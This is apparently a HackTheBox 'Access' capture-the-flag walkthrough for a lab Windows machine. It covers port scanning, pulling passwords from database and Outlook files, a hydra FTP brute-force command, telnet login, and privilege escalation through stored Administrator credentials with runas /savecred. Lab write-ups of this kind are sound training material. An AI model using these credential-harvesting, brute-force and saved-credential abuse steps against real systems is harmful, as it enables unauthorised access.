Hackthebox - Access

  • Windows


└─# nmap -T4 -A -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-08 15:34 EDT
Nmap scan report for
Host is up (0.025s latency).
Not shown: 65532 filtered tcp ports (no-response)
21/tcp open  ftp     Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
23/tcp open  telnet?
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-title: MegaCorp
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: phone|general purpose|specialized
Running (JUST GUESSING): Microsoft Windows Phone|2008|7|8.1|Vista|2012 (92%)
OS CPE: cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2012
Aggressive OS guesses: Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 8.1 (91%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 Professional or Windows 8 (91%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (91%), Microsoft Windows Vista SP2 (91%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (90%), Microsoft Windows 8.1 Update 1 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 23/tcp)
1   28.67 ms
2   28.88 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 275.90 seconds

Initial foothold


  • We take all the files in our attacking machine using get

  • We have an mdb file which is a microsoft access database file, we can open it using this website we also could have used mdb-sql

    • Theres a lot of tables however only some of them have rows

    • The one called USERINFO contains name and password, let's get the csv version of this table

    • This definitely looks like a db for hr management

    • Another one called auth_user also has password so we take the csv as well

    • I put it in a file called userinfoclean cat USERINFO.csv | awk -F "," '{print $25, $46, $86}' > userinfoclean

    • For the other file auth_user.csv let's keep the usernames in a file called users cat auth_user.csv | awk -F "," '{print $2}' > users , I cleaned it a little removing the title of column and the quotes


  • We have a telnet port open

  • if we use admin as login we get a mention that the user does not exist

  • If we use engineer as login we then get prompt for the password (which means our user is valid), and if we type admin we have the handle is invalide but if we type access4u@security we get access denied, which means that our user pass combinaison is correct

    • Let's keep it aside engineer access4u@security

Port 80

  • Let's run gobuster here (we do not get anything)


  • Let's try to bruteforce ftp with the discovered users hydra -L users -P pass -t 4 ftp

  • We do not get anything

Zip file

  • We get an Outlook email folder:

└─# file Access\ Control.pst 
Access Control.pst: Microsoft Outlook email folder (>=2003)
  • We can read this file on linux using readpst Access\ Control.pst (apt install readpst to install it), here is what we get in the email, another Password!!

Hi there,

The password for the “security” account has been changed to 4Cc3ssC0ntr0ller.  Please ensure this is passed on to your engineers.


  • Let's add these to our files

Telnet again

  • We can grab the user flag on the desktop

Privilege escalation

C:\Users\security\Desktop>cmdkey /list

Currently stored credentials:

    Target: Domain:interactive=ACCESS\Administrator
                                                       Type: Domain Password
    User: ACCESS\Administrator
  • We are going to be able to run commands as administrator (just like sudo in linux)

  • Let's grab the root flag like this: C:\Windows\System32\runas.exe /user:ACCESS\Administrator /savecred "C:\Windows\System32\cmd.exe /c TYPE C:\Users\Administrator\Desktop\root.txt > C:\Users\security\Desktop\root.txt" and then it will be in our current user's desktop

  • Have a look at PayloadsAllTheThings to see how else we could use runas

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